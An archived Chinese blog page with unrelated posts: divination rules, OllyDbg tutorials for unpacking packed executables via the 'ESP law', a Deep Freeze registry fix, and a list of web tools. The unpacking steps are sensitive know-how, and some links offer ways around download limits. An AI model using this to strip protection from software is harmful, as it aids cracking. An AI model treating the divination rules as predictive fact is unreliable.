   若六爻中只有一爻动最吉。兄动,事不实,难成。若现有气,可速成,怕落空。易云:动爻急如火。次或出现文书与贵人。但卦中原无或不入卦,或落空,其事难。官与文书俱旺相,亦要持世方可成。应又不克,事体分明。乾兑坎宫,谋事不一,见官用动,其人多出,见亦生嗔。
28.占谒贵
官鬼为主,世我应彼;
世应相生,得遇和喜。
   凡占谒贵,以外卦取,外阳爻可见,外阴爻不见。阴鬼阳世再见,阳鬼阴世已外出。
   出现在家,忌外卦独发。伏藏应动,皆不见。看财爻旺相出现,忌动用官,看官爻,忌世应坐鬼,又须问见何人,看用爻为主。
   谒见,用支出现旺相不动,在家;若空、冲、散,不在。世应相生合则吉,相克必凶。
   世克应,或克用爻、皆致怨之象。当俯仰小心。应克世、或用爻克世,皆愿见,亦忧刑。应用相克不及相生也。卦有身,相见更看用爻,用爻生身尤好;卦无身又无用爻,或用爻空亡,终不见。
29.占买卖
财福出现,买卖必利;
世应相生,交易可成。
   卦占买卖,惟要财福出现,如无不利。若是兄宫发动于上爻,必知地头不吉。凶杀泊四五,途路坎坷多。
   财支持世克身得利,发动克身亦利。外克内,应克世,易得财;内克外,世克应难得利。
  内旺相,外无气,其物先贵后贱。
  财旺相,主贵、宜卖;财休囚主贱,宜买。
   兄财不利,鬼动贱发,月建临财则吉,官鬼临库,公财吉,私财凶。
   卦有二身三身者,财当与人分共,本宫鬼化财可求,本宫财化鬼防失。
30.占求财
财来扶世,求之不难;
财空鬼旺,千水万山。
   合吉神并世应,而六位有财可得。白虎临财已先嗔、临应也先嗔,比和则无关,鬼动则必经营也。应生世,虽无财亦可求,外生内、应生世,或比和不落空者,虽未有,尚有还财。子爻动彼自不还。死气财必长生日得。外克内卦宜出财、内克外卦宜入财。
   将本求利,须要财爻持世,应旺相,有气,乃大吉。财爻无气,虽有亦无多。财爻空亡。其财决无,尤防破失。财爻生旺可倍加,休囚减半。逢冲,将入手有阻。
   空手求财,虽有财爻,却要鬼旺方为全吉。如财爻旺相,卦中无鬼,虽财可求,实无可得。若有鬼无财,虽有高术,亦不得财。二者必用二全,方为大吉。父母化财,先难后易,财化父母,先易后难。财化兄弟,先聚后散,兄弟化财,先散后聚。
   前卦有财,后卦无财,速谋有得,迟则无。前卦无财,后卦有财,迟取方有,目下未值。财之多寡,须凭爻之衰旺决之。
   子孙为财之源,若加青龙发动,不问财爻衰旺,决可求谋,乃大吉之兆。父母动则子受伤,不能生财。财源已绝,若遇白虎同登,凶。纵其财旺生合世爻,只许一度,不可再图。
   世为我,若财来生我,克我皆吉,乃易得之象;若我克财爻,谓之克退,财静犹可,若动,如入下逐高,不能及也。若世安静,财爻发动,生我、克我,此财来逐我之象,决主易求。
   看得财日,须与日辰合方得入手。若旺相之财,墓日可得;无气之财,生旺日乃得也。
31.占博戏
博戏斗禽,福旺物真;
财为利息,鬼动不赢。
   世应见鬼爻皆败,乃彼我不得地,世旺克应,我胜;应旺克也,彼胜。子孙妻财喜扶世,我胜。子孙旺相喜动。
   或问:妻为我物,鬼为彼虫,如何取用?答曰:此言斗禽虫也。若转变之事,则不一同专,要子孙持世旺相,或独发便赢,若鬼兄财爻动便输。要知当日,俱以时辰取福德言之。
32.占出行
远行出入,财旺大吉;
鬼旺多凶,持身最吉。
   财为行李,子为喜悦。凡鬼又持世,兄弟独发,鬼爻旺相,鬼墓贴身。游魂八纯,皆不可出行。
   或问:游魂、八纯皆不可出行,如何?答曰:游魂主忘返,八纯主宾不和,故不利出入也。
   动官行。世应俱动,宜速行,旁爻动,利行迟,八纯,不宜远行。世墓方大忌。
   要看第五爻持世为紧,但宜财爻、子孙持世,或旺相动便好。
   只怕鬼兄动。世爻化入墓,化出兄鬼,主有口舌,或主病。世空去不成,或动爻冲克世爻,便断此人伤我。如鬼爻,鬼贼官事。兄爻,口舌是非。父爻,船事不便,或文书等事。财爻动,当有财物之喜,子孙动,或化子孙,去有财喜

- 作者: LasOn 2007年09月22日, 星期六 10:35  回复(0) |  引用(1) 加入博采

梅花析卦法秘注论
梅花卦象分为三大类:
  即主卦:表示事情的开始阶段;
  互卦:表示事情的进展阶段;
  变卦:表示事情的结果阶段。
  而主卦又分体卦和用卦。主卦中有动爻的卦无论上卦还是下卦皆为用卦,没有动爻的卦为体卦。体卦为事情的主体,用卦为所问的事情。我们在以起卦法装成卦后,即不能单一的看体用生克关系或是卦辞的好坏论吉凶,如此便失之一隅了。那如何才能更全面的从主卦、互卦、变卦的生克关系上定吉凶呢?现把梅花析卦法先后顺序归纳如下;
  (一)通观三卦与时令,时令入卦定发生。
 
  就是观看主卦的体卦与用卦、互卦的上卦与下卦、变卦,看这们哪一卦临时令(即与年支、月支、日支、时支的五行相同),临时令的卦为旺则强,如果主卦临时令则说明事情是刚刚发生,如果互卦临时令,说明事情已经发生,而且已经是中间阶段了。如果变卦临时令说明事情已经有结果了。如果几卦临时令,就要综合一下临时是临年上、月上、日上或是时上。
 
  1、主卦临年令表示事情在年内发生;主卦临月令表示事情在月内发生;主卦临日令表示日内发生;主卦临时令表示这个时辰内发生。  2、互卦临年令表示事情在年内进展;互卦临月令表示事情在月内进展;互卦临日令表示日内进展;互卦临时令表示这个时辰内进展。
  3、变卦临年令表示事情在年内有结果;变卦临月令表示事情在月内有结果;变卦临日令表示日内结果;变卦临时令表示这个时辰内有结果。
 

  (二)类象金口定来意,五行生克看旺衰。

 
  以用卦的八卦类象定事情的主角是什么人?什么物?再以体卦的五行旺衰与用卦的旺衰定生克论吉凶。体卦喜生不喜克,如果体卦临时令以旺论,即即使用卦旺相来克体,只要互卦和变卦有相生相比助之卦,皆克不死,谓之还有生气,如果体卦衰而被用卦旺相来克,如果互卦和变卦有相生相比助之卦,也不论死,谓之有相助之气,反之,谓之无生气,如果旺相用卦克休囚体卦,互卦和变卦均没有生、比之卦,当有凶灾之事,无救。
18319  当我们在不知道来人想问的事情时,可以初步以临时令的卦与体卦的四动关系定事情的初步内容,我们称之为金口。(不临时令看用卦的互卦及变卦定出事情的发生后及结果时与体卦的四动定事情内容。

 
  (三)卦中体用有强弱,三要九应不可轻。
  (四)吉凶须看三般卦,互变两卦五行移。
 
  (五)猜物须看用爻变,用变两卦物什明。
  (六)天地阴阳皆有数,梅花一卦知吉凶。
  八步断梅心法
  1、通看三般卦,确定事情已经到了哪个阶段,是现在时,还是过去时、将来时。
 
  2、以来人方位、报数等信息结合用卦定来意。(也可询问)
 
  3、通看三般卦,确定主卦中体卦、用卦的强、弱。
  4、看主卦体用两卦的生克关系,初步定吉凶。
  5、看互、变两卦与体卦的生克关系,进一步定吉凶。
  6、看用事互卦、变卦与体卦的金口四动论吉凶。
  7、以三要、九应等外应方法更进一步定事情吉凶。
 
  8、结合时令入卦,看互、变卦五行移位定应期。

- 作者: LasOn 2007年09月22日, 星期六 10:30  回复(0) |  引用(1) 加入博采

寻找真正的入口(OEP)--广义ESP定律
1.前言

在论坛上看到很多朋友,不知道什么是ESP定律,ESP的适用范围是什么,ESP定律的原理是什么,如何使用ESP定律?看到了我在“”调查结果发现,大家对ESP定律很感兴趣,当然因为实在是太好用了,现在我就来告诉大家什么是ESP定律,它的原理是什么!

BTW:在看完了手动脱壳入门十八篇了以后,再看这篇文章也许会对你更有帮助!

在下面地址下载:

http://www.jetdown.com/down/down.asp?id=37350&no=1

2.准备知识

在我们开始讨论ESP定律之前,我先给你讲解一下一些简单的汇编知识。
1.call
这个命令是访问子程序的一个汇编基本指令。也许你说,这个我早就知道了!别急请继续看完。
call真正的意义是什么呢?我们可以这样来理解:1.向堆栈中压入下一行程序的地址;2.JMP到call的子程序地址处。例如:

00401029 . E8 DA240A00 call 004A3508
0040102E . 5A pop edx
在执行了00401029以后,程序会将0040102E压入堆栈,然后JMP到004A3508地址处!

2.RET
与call对应的就是RET了。对于RET我们可以这样来理解:1.将当前的ESP中指向的地址出栈;2.JMP到这个地址。

这个就完成了一次调用子程序的过程。在这里关键的地方是:如果我们要返回父程序,则当我们在堆栈中进行堆栈的操作的时候,一定要保证在RET这条指令之前,ESP指向的是我们压入栈中的地址。这也就是著名的“堆栈平衡”原理!

3.狭义ESP定律

ESP定律的原理就是“堆栈平衡”原理。

让我们来到程序的入口处看看吧!

1.这个是加了UPX壳的入口时各个寄存器的值!
EAX 00000000
ECX 0012FFB0
EDX 7FFE0304
EBX 7FFDF000
ESP 0012FFC4
EBP 0012FFF0
ESI 77F51778 ntdll.77F51778
EDI 77F517E6 ntdll.77F517E6
EIP 0040EC90 note-upx.
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 1 FS 0038 32bit 7FFDE000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_MOD_NOT_FOUND (0000007E)

2.这个是UPX壳JMP到OEP后的寄存器的值!
EAX 00000000
ECX 0012FFB0
EDX 7FFE0304
EBX 7FFDF000
ESP 0012FFC4
EBP 0012FFF0
ESI 77F51778 ntdll.77F51778
EDI 77F517E6 ntdll.77F517E6
EIP 004010CC note-upx.004010CC
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 1 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 0038 32bit 7FFDE000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_MOD_NOT_FOUND (0000007E)

呵呵~是不是除了EIP不同以外,其他都一模一样啊!

为什么会这样呢?
我们来看看UPX的壳的第一行:

0040EC90 n> 60 pushad //****注意这里*****
0040EC91 BE 15B04000 mov esi,note-upx.0040B015

PUSHAD就是把所有寄存器压栈!我们在到壳的最后看看:

0040EE0F 61 popad //****注意这里*****
0040EE10 - E9 B722FFFF jmp note-upx.004010CC //JMP到OEP

POP就是将所有寄存器出栈!


而当我们PUSHAD的时候,ESP将寄存器压入了0012FFC0--0012FFA4的堆栈中!如下:

0012FFA4 77F517E6 返回到 ntdll.77F517E6 来自 ntdll.77F78C4E //EDI
0012FFA8 77F51778 返回到 ntdll.77F51778 来自 ntdll.77F517B5 //ESI
0012FFAC 0012FFF0 //EBP
0012FFB0 0012FFC4 //ESP
0012FFB4 7FFDF000 //EBX
0012FFB8 7FFE0304 //EDX
0012FFBC 0012FFB0 //ECX
0012FFC0 00000000 //EAX

所以这个时候,在教程上面就告诉我们对ESP的0012FFA4下硬件访问断点。也就是说当程序要访问这些堆栈,从而恢复原来寄存器的值,准备跳向苦苦寻觅的OEP的时候,OD帮助我们中断下来。

于是我们停在0040EE10这一行!

总结:我们可以把壳假设为一个子程序,当壳把代码解压前和解压后,他必须要做的是遵循堆栈平衡的原理,让ESP执行到OEP的时候,使ESP=0012FFC4。

4.广义ESP定律

很多人看完了教程就会问:ESP定律是不是就是0012FFA4,ESP定律的适用范围是不是只能是压缩壳!

我的回答是:NO!

看完了上面你就知道你如果用0012FFA8也是可以的,ESP定律不仅用于压缩壳他也可以用于加密壳!!!

首先,告诉你一条经验也是事实---当PE文件运行开始的时候,也就是进入壳的第一行代码的时候。寄存器的值总是上面的那些值,不信你自己去试试!而当到达OEP后,绝大多的程序都第一句都是压栈!(除了BC编写的程序,BC一般是在下面几句压栈)

现在,根据上面的ESP原理,我们知道多数壳在运行到OEP的时候ESP=0012FFC4。这就是说程序的第一句是对0012FFC0进行写入操作!

最后我们得到了广义的ESP定律,对只要在0012FFC0下,硬件写入断点,我们就能停在OEP的第二句处!!

下面我们来举个例子,就脱壳进阶第一篇吧!

载入OD后,来到这里:

0040D042 N> B8 00D04000 mov eax,Notepad.0040D000 //停在这里
0040D047 68 4C584000 push Notepad.0040584C
0040D04C 64:FF35 00000000 push dword ptr fs:[0] //第一次硬件中断,F9
0040D053 64:8925 00000000 mov dword ptr fs:[0],esp
0040D05A 66:9C pushfw
0040D05C 60 pushad
0040D05D 50 push eax

直接对0012FFC0下硬件写入断点,F9运行。(注意硬件中断)

在0040D04C第一次硬件中断,F9继续!

0040D135 A4 movs byte ptr es:[edi],byte ptr ds:[esi] //访问异常,不管他 shift+F9继续
0040D136 33C9 xor ecx,ecx
0040D138 83FB 00 cmp ebx,0
0040D13B ^ 7E A4 jle short Notepad.0040D0E1

第二次硬件中断。

004058B5 64 db 64 //断在这里
004058B6 89 db 89
004058B7 1D db 1D
004058B8 00 db 00
004058B9 00 db 00

这里也不是,F9继续!

004010CC /. 55 push ebp
004010CD |. 8BEC mov ebp,esp //断在这里,哈哈,到了!(如果发现有花指令,用ctrl+A分析一下就能显示出来)
004010CF |. 83EC 44 sub esp,44
004010D2 |. 56 push esi

快吧!还不过瘾,在来一个例子。

脱壳进阶第二篇

如果按上面的方法断不下来,程序直接运行了!没什么,我们在用另一种方法!

载入后停在这里,用插件把OD隐藏!

0040DBD6 N>^\E9 25E4FFFF jmp Note_tEl.0040C000 //停在这里
0040DBDB 0000 add byte ptr ds:[eax],al
0040DBDD 0038 add byte ptr ds:[eax],bh
0040DBDF A4 movs byte ptr es:[edi],byte ptr ds:[esi]
0040DBE0 54 push esp

F9运行,然后用SHIFT+F9跳过异常来到这里:

0040D817 ^\73 DC jnb short Note_tEl.0040D7F5 //到这里
0040D819 CD20 64678F06 vxdcall 68F6764
0040D81F 0000 add byte ptr ds:[eax],al
0040D821 58 pop eax

在这里对0012FFC0下硬件写入断点!(命令行里键入HW 12FFC0)SHIFT+F9跳过异常,就来到OEP的第二行处:(用CTRL+A分析一下)

004010CC /. 55 push ebp
004010CD |. 8BEC mov ebp,esp //断在这里
004010CF |. 83EC 44 sub esp,44
004010D2 |. 56 push esi
004010D3 |. FF15 E4634000 call dword ptr ds:[4063E4]
004010D9 |. 8BF0 mov esi,eax
004010DB |. 8A00 mov al,byte ptr ds:[eax]
004010DD |. 3C 22 cmp al,22

就这样我们轻松搞定了两个加密壳的找OEP问题!

5.总结

现在我们可以轻松的回答一些问题了。

1.ESP定律的原理是什么?

堆栈平衡原理。

2.ESP定律的适用范围是什么?

几乎全部的压缩壳,部分加密壳。只要是在JMP到OEP后,ESP=0012FFC4的壳,理论上我们都可以使用。但是在何时下断点避开校验,何时下断OD才能断下来,这还需要多多总结和多多积累。欢迎你将你的经验和我们分享。

3.是不是只能下断12FFA4的访问断点?

当然不是,那只是ESP定律的一个体现,我们运用的是ESP定律的原理,而不应该是他的具体数值,不能说12FFA4,或者12FFC0就是ESP定律,他们只是ESP定律的一个应用罢了!

4.对于STOLEN CODE我们怎么办?

哈哈,这正是寻找STOLEN CODE最好的办法!当我们断下时,正好断在了壳处理STOLEN CODE的地方,在F8一会就到OEP了!

6.后话


以上的方法原理都是我自己总结,自己的经验,如果有什么不对的地方,有什么没解释清楚的地方。还请海涵!但是如果觉得我很厉害,那就大可不必,因为ESP定律也是别人教我的,不是我第一个提出来的!我只是个比你们早飞一点的菜鸟罢了^-^

看了上面的文字希望能对你在寻找OEP的时候有帮助,但是别忘了一句话:菜鸟认为找OEP很难,高手认为修复才是最难! 好了,下一篇应该写IAT的修复原理了!让我们共同努力吧!

- 作者: LasOn 2007年08月14日, 星期二 14:15  回复(0) |  引用(1) 加入博采

脱壳的各种方法

先介绍一下脱壳的基本知识吧!
常见脱壳知识:1.PUSHAD (压栈) 代表程序的入口点
2.POPAD (出栈) 代表程序的出口点,与PUSHAD想对应,一般找到这个OEP就在附近拉!
3.OEP:程序的入口点,软件加壳就是隐藏了OEP(或者用了假的OEP),
只要我们找到程序真正的OEP,就可以立刻脱壳。

开始正式介绍方法啦!!
方法一:
1.用OD载入,不分析代码!
2.单步向下跟踪F8,是向下跳的让它实现
3.遇到程序往回跳的(包括循环),我们在下一句代码处按F4(或者右健单击代码,选择断点——运行到所选)
4.绿色线条表示跳转没实现,不用理会,红色线条表示跳转已经实现!
5.如果刚载入程序,在附近就有一个CALL的,我们就F7跟进去,这样很快就能到程序的OEP
6.在跟踪的时候,如果运行到某个CALL程序就运行的,就在这个CALL中F7进入
7.一般有很大的跳转,比如 jmp XXXXXX 或者 JE XXXXXX 或者有RETE的一般很快就会到程序的OEP。

方法二:
ESP定理脱壳(ESP在OD的寄存器中,我们只要在命令行下ESP的硬件访问断点,就会一下来到程序的OEP了!)
1.开始就点F8,注意观察OD右上角的寄存器中ESP有没出现。
2.在命令行下:dd 0012FFA4(指在当前代码中的ESP地址),按回车!
3.选种下断的地址,下硬件访问WORD断点。
4.按一下F9运行程序,直接来到了跳转处,按下F8,到达程序OEP,脱壳

方法三:
内存跟踪:
1:用OD打开软件!
2:点击选项——调试选项——异常,把里面的忽略全部√上!CTRL+F2重载下程序!
3:按ALT+M,DA 打开内存镜象,找到第一个.rsrc.按F2下断点,
然后按SHIFT+F9运行到断点,接着再按ALT+M,DA 打开内存镜象,找到.RSRC上面的CODE,按
F2下断点!然后按SHIFT+F9,直接到达程序OEP,脱壳!


方法四:
一步到达OEP(前辈们总结的经验)
1.开始按Ctrl+F,输入:popad(只适合少数壳,包括ASPACK壳),然后按下F2,F9运行到此处
2.来到大跳转处,点下F8,脱壳之!

方法五:
1:用OD打开软件!
2:点击选项——调试选项——异常,把里面的√全部去掉!CTRL+F2重载下程序!
3:一开是程序就是一个跳转,在这里我们按SHIFT+F9,直到程序运行,记下从开始按F9到程序
运行的次数!
4:CTRL+F2重载程序,按SHIFT+F9(次数为程序运行的次数-1次
5:在OD的右下角我们看见有一个SE 句柄,这时我们按CTRL+G,输入SE 句柄前的地址!
6:按F2下断点!然后按SHIFT+F9来到断点处!
7:去掉断点,按F8慢慢向下走!
8:到达程序的OEP,脱壳!

这就是我所知道的脱壳方法,如果你还知道别的脱壳方法,请你告诉我!!

- 作者: LasOn 2007年08月14日, 星期二 14:12  回复(0) |  引用(1) 加入博采

完美解决封装后不能安装冰点
用深度封装后,常常装不上冰点,不经过封装直接刻盘,冰点可以装,封装后,无论在本机还是在别机子上gost,冰点装不起。提示错误#01010000。

简单地说,这是由于系统重新封装的原因,系统清理了多于的一个“最后一次正确的配置”注册表节点,而其它的指向相关键值没有正确改过来,对系统而言是没有任何问题,但是冰点要对这些节点操作。   
照着以下3步就可以解决了:
1.导以下的注册表。把--------里的内容复制到文本里,另存为REG文件导入

------------------------------------
Windows Registry Editor Version 5.00


[HKEY_LOCAL_MACHINE\SYSTEM\Select]
"Current"=dword:00000001
"Default"=dword:00000001
"Failed"=dword:00000000
"LastKnownGood"=dword:00000002


[HKEY_LOCAL_MACHINE\SYSTEM\Setup]
"CmdLine"="setup -newsetup"

--------------------------------------

2.导另一个注册表。呵呵,这个注册表要用你自己的,不能帮你做好,教你吧。
打开  HKEY_LOCAL_MACHINE\SYSTEM\下,把controlset001导出注册表,命名为controlset001,有约5M多,汗。用写字板打开controlset001.reg,注意,用写字板,用替换功能把里面的set001全部替换成set002,OK,另存为controlset002.reg,然后导入注册表,不用怕,才5M,很快的。

3.呵呵,删。HKEY_LOCAL_MACHINE\SYSTEM\Select下的controlset003删掉。

恭喜你,不用重起,你就可以装冰点了。

另,有些人不知道为什么这样做,再来个学习编吧,这些资料为网上收集。

在注册表HKLM\system注册表项中包括用于windows启动的三个控件组(额外还可能存在一个备份控件组),在初始状态下,它们分别是ControlSet001、ControlSet002以及CurrentControlSet。这些控件组中包含了操作系统配置的信息,比如服务、驱动、系统控制、枚举信息等等。
    默认情况下,ControlSet001是系统真实的配置信息,但是为了避免序号混乱,windows启动时会从ControlSet001复制一份副本,作为操作系统当前的配置信息,也就是CurrentControlSet。我们对于计算机配置所作的修改都是直接写入到CurrentControlSet,在重启过程中,windows会用CurrentControlSet的内容覆盖掉ControlSet001,以保证这两个控件组一致。
    当操作系统每成功启动一次(指成功登录),它都将CurrentControlSet和ControlSet001中的数据复制到ControlSet002中。这样,ControlSet002就成了“最近一次成功启动的配置信息”(很熟悉吧?在启动windows前按下F8所调出的菜单中有这个选项)。所以我们一般系统注册表中都只是有这三个控件组,并且序号都是current、001和002。(此后均用简称)
    但是,这个顺序和数目不是一成不变的,改变就发生在使用过“最近一次的正确配置”之后。这个时候,系统会把002当作系统真实的配置信息,而001这个存在问题的控件组会被备份封存起来。系统启动时会从002复制副本到current,启动成功后又会把002和current的信息复制一份到一个新的控件组作为新的“最近一次的正确配置”,也就是003。这个时候系统就存在4个控件组:current、002、003和备份的001,这里的001是一个存在问题的组,除非我们想把系统恢复到上次使用“最近一次正确配置”之前的状态,否则001的内容将不再被使用。
  HKLM\system注册表项中还有一个select的子项,其中有几个整数键,分别是:
“Current”数据项目表示 Windows XP 在这次启动过程中使用的控件组。 
“Default”数据项目表示 Windows XP 在下次启动时将使用的控件组,它与这次启动使用的控件组相同。 
“LastKnownGood ”数据项目表示您在启动过程中选择“最近一次的正确配置”时 Windows XP 将使用的控件组。 
“Failed”数据项表示 Windows XP 在其中保存失败启动产生的数据的控件组。 此控件组在用户第一次调用“最近一次的正确配置”选项之前并不实际存在。 
对应上面,系统默认时其顺序是:001、001、002、无;
第一次使用“lastknowngood”后:002、002、003、001
第二次使用“lastknowngood”后:003、003、004、002(之前的备份001被002覆盖掉,001组消失)
第三次使用“lastknowngood”后:004、004、001、003(002被003覆盖,而当004要生成新的“lastknowngood”时,001正好可用,于是001重生,002消失)
    依此类推,第四次1、1、2、4,第五次2、2、3、1…………

- 作者: LasOn 2007年07月12日, 星期四 13:58  回复(0) |  引用(1) 加入博采

收集一些网站地址
 1,看看自己具有哪个大明星的脸型 http://www.play-analogia.com/cgi-bin/index/

2,超有意思的Flash网站,虚拟办公 http://agencynet.com

3,亲自动手给美女画纹身 http://www.crustydemons.co.uk/UK/tattoo_parlour/index.html

4,输入文字就发出声音! http://www.putonghuaonline.com
   只支持繁体中文,同时也是学习普通话和粤语的好地方

5,在线做个通缉令 http://www.glassgiant.com/wanted/

6,制作属于自己的卡通大头像吧 http://cartoon.msn.com.cn

7,在你的照片上添加有趣对话 http://www.bubblesnaps.com

8,这个网站提供各种有趣的在线拼图 http://www.thebroth.com

9,很逼真!模仿XP系统操作的网站 http://www.kingnare.com

10,原来制作带阴影的LOGO如此容易 http://msig.info/web2.php

11,教你打领带 http://www.tieknot.com/dalingdai.html

12,系鞋带的N种方法 http://www.fieggen.com/shoelace/lacingmethods.htm#2trillion

13,咱也弄个自己的徽章玩玩 http://www.says-it.com/seal/index.php

14,在线素描 http://flashface.ctapt.de

15,各种动画图标制做 http://ajaxload.info

16,各种字体图片制做 http://cooltext.com

17,http://www.pollyglotto.com/index8.php
  超牛的语音翻译,输入文字里面的人自动给你以语音的形式翻译出来,有趣的是他眼睛跟你你鼠标转,遗憾的是不是免费的!

18,你今天印书了么?免费将你的博客翻印成书 http://www.mrprint.cn/?UN=f1208b59454a9a744055&ShowType=0

19,做个德国身份证玩玩 http://onlinewahn.de/generator/

20,自己做个图来让别人拼 http://www.flash-gear.com/puzzle/

21,在线媒体提取工具 http://solor.cn

22,DiY网络拼图 http://www.webpuzzle.cn

23,2G网络硬盘,仿windows操作系统 http://www1.pc2n.com

24.在线媒体转换工具 http://media-convert.com
  它支持大量的文件格式之间的互相转换,包括视频、音频、PPT文档、Word文档、表格文档、图片等等数十种之多。比如你可以把mp3转换成wav,把png转换成gif,把word文件转换成txt文件


25.在线保存,分享和交流网页,博客,新闻 http://www.hinale.com
  为您的一篇文章嵌入Hinale按钮,更方便用户保存和交流您的文章


26.blog 搜索引擎 http://www.gnoos.com.au

27.[ ImageCrop ] http://www.imagecrop.com
  功能相对简单,它其实是一款为MSN、Yahoo Messager等制作头像的剪裁工具,因此,它的特色在于内置了专用尺寸模板,比如MSN、论坛头像75×75或85×85的尺寸等等。当然也可以自定义大小。


28.[ Online Image Editor ] http://www.online-image-editor.com
  支持JPG、PNG、GIF及BMP格式的图像,具备可转换颜色模式,添加边框,转换图像格式等功能,内置10个滤镜效果。


29.[ GifWorks ]Gif动画处理工具 http://gifworks.com
  可生成动画效果的文字,不过不支持中文。可编辑的图像格式只有Gif类型,允许上传最大单个文件为400K。具备30多种滤镜效果、3 种优化工具及旋转、剪裁等常用图像编辑功能


30.[ Colorcombos ] http://www.colorcombos.com
  是一个网页配色自动探测工具,你只需输入网站地点,它就会帮你把该网站当前的网页配色方案展示出来,并提供相应的色值


31.[ PhotoShow ] http://www.photoshow.com
  是一个新型的图片展示服务,利用Flash技术构建。事实上,也可以把它当作如
  [ ibloks ] http://www.wappblog.com/entry/200.html
  [ Eyespot ] http://www.wappblog.com/entry/108.html
  等这样的混合工具,它可把图片及音乐混合,做成一段效果非常酷的流媒体。


32.[ Imagesquash ] http://www.imagesquash.com
  又是一个图片转换工具,它可以根据按上传图片大小的百分比进行缩小,可转换图片格式为Jpeg、Gif及PNG,可改变图片质量。

33.[ 在线ping你的博客 ] http://pingoat.com

34.[ iBloks ] 是一个多媒体混合工具,它能把照片及音乐混合成一段视频
  http://www.ibloks.com
  

35.[ Web2.0 STYLr ] 是一个web2.0 Logo制作工具
  http://web2.0stylr.com/stylr.aspx


36.[ Web2.0 Logo Creator ] http://msig.info/web2.php
  是一个专门用来制作web2.0网站logo的在线工具,制作出的logo具备了几个web2.0元素,比如倒影、beta标志等等,在有些地方可能不能打开这个网站,可以去http://www.cnproxy.com/webproxy.asp,通过代理打开!!

37.爱因斯坦写汉字 http://www.sbfun.org/einstein/index.php

38.[ Crusty Demons ] http://www.crustydemons.co.uk/UK/tattoo_parlour/index.html]
  是一个在线的纹身视频制作工具,可自定义纹身图案、文字内容和纹身位置,完成后会生成一段视频,并且可下载图片或者发送给朋友

39.[ Ponyfish ] http://www.ponyfish.com
  是一个在线Feed创建工具

40.[ SubAdjust-Web ] http://dev.pdvel.com/subadjust/index.php
  是一个用来调整DVD字幕的在线工具,你可以通过
  [ SubAdjust-Web ] http://dev.pdvel.com/subadjust/index.php
  来调整DIVX字幕的时间,以便使其与DVD视频同步,另外还可以用来在SubRip和MirroDVD字幕两种格式之间互换。

41.在线favicon图标制作 http://tools.dynamicdrive.com/favicon/

42.[ converticon.com ] http://converticon.com
  是一个在线ico文件和png文件互相转化工具

43.[ krun.ch ] http://krun.ch
  提供了本地文件和网络文件的压缩和解压四种功能,压缩或解压缩后的文件可以下载到本地。另外它提供了zip、rar和gzip压缩文件格式供选择

44.[ 在线做个徽章 ] http://www.says-it.com/seal/index.php

45.在这里,你可以在线做个以自己照片做硬币人物的硬币图片,好酷哦!!
  http://onlinewahn.de/generator/m-maker.htm

46.想想自己的照片被外文报纸刊登在头版头条该是多么风光,在这里就可以轻松实现 http://onlinewahn.de/generator/z-maker.htm

47.一个在线生成flash菜单的网站,对站长很有帮助. http://www.hostsun.com/gr/flash_generators.php

48.对有些做了IP限制的网站,可能无法访问,可以使用这个代理访问. http://www.cnproxy.com

49.在线图片处理,网通 http://www.iephotoshop.com
         电信 http://www1.iephotoshop.com

50.你可以制作出很有专业水准的动态logo,有很多的样式供你选择 http://www.logomaker.cn

51.Flash头像 http://www.dookyweb.com/avatars.swf

52.印象派涂鸦板 http://jacksonpollock.org

53.在线网页截屏工具,在浏览器地址栏输入下面的代码就可以了。
http://images.websnapr.com/?url=thw.568idc.com红色部分换成你想要截的网页的地址

54.另外两个好用在线网页截屏工具 http://www.browsrcamp.com/ 和 http://snap.otag.cn/screenshot.aspx

55.可以突破网吧的下载限制进行下载 http://thw.568idc.com/serve/xiazai.html

56.跳转FLASH生成工具 http://www.dfxy.org/tiao/

57.[krun.ch] http://krun.ch
  是一个在线压缩工具,它提供了本地文件上传压缩和解压、网络文件的压缩和解压四种功能,压缩或解压缩后的文件可以下载到本地或者通过Email发送。另外它提供了zip、rar和gzip压缩文件格式供选择。

58.在线生成纯css代码实现的圆角矩形的网站,对网站制作者很有用的东西
http://www.spiffycorners.com
 
59.itfontMaker——字体制作     
http://pentacom.jp/soft/ex/font/edit.html

60.钱币生成器            
http://www.onlinewahn.de/generator/m-maker.htm

61.图片仓库:            
http://pic.sdodo.com/
 
61.1.图片缩放裁切工具        
http://pic.sdodo.com/
tool/picadjust/

61.2.大头贴DIY工具         
http://pic.sdodo.com/
tool/hphoto/

61.3.给图片加字工具         
http://pic.sdodo.com/
tool/addword/

61.4.邮箱地址小图标工具       
http://pic.sdodo.com/
tool/mailpic/

61.5.给图片加小标签         
http://pic.sdodo.com/
tool/piclabel/

62.在线FLASH动画制作         
http://www.dfilm.com/index_movie_start.html

63.图片生成网页图标          
http://www.chami.com/html-kit/services/favicon/

64.由蝌蚪网络提供的Gmail注册入口   
http://cnc.kedooo.net/gmail/
 
65.最全的邮件/QQ/MSN/BLOG图片生成器 
http://www.eoool.com/

66.收藏夹图标生成器         
http://www.html-kit.com/e/favicon.cgi

67.在线域名LOGO生成         
http://phorum.com.tw/Generator.aspx
 
68.免费3D banner在线制做网站    
http://www.3dtextmaker.com/cgi-bin/3dtext.pl

69.输入图片就能查看字体      
http://www.myfonts.com/WhatTheFont

70.sitemap网站地图制作工具    
http://www.seo.net.cn/sitemap/

71.检测空间商好坏的方法      
http://uptime.netcraft.com/up/

72.查看该域名IP主机下的其他域名  
http://whois.webhosting.info/

73.生成email图片         
http://www.nhacks.com/email/index.php

74.世界网络里面有很多不错的测试  
http://www.linkwan.com/gb/broadmeter

75.几个大城市的地图搜索      
http://map.zhongsou.com

76.图片标签快速生成工具      
http://www.eoool.com/

77.查询在google所有服务器中的PR值 
http://www.iwebtool.com/pagerank_checker?domain=www.chinayoob.com

78.免费加入140个搜索引擎     
http://freehosting.hostrave.com/p/ledbetter/submitware/index.php

79.在线生成多种样式的LOGO http://sherlocco.com/create.asp

80.街道路牌签名生成器       
http://www.streetsigngenerator.com/

81.blog标签图片80×15/80×31制作 
http://button.blogflux.com/

82.在线生成漫画小图像的站     
http://www.abi-station.com/tchinese/
 
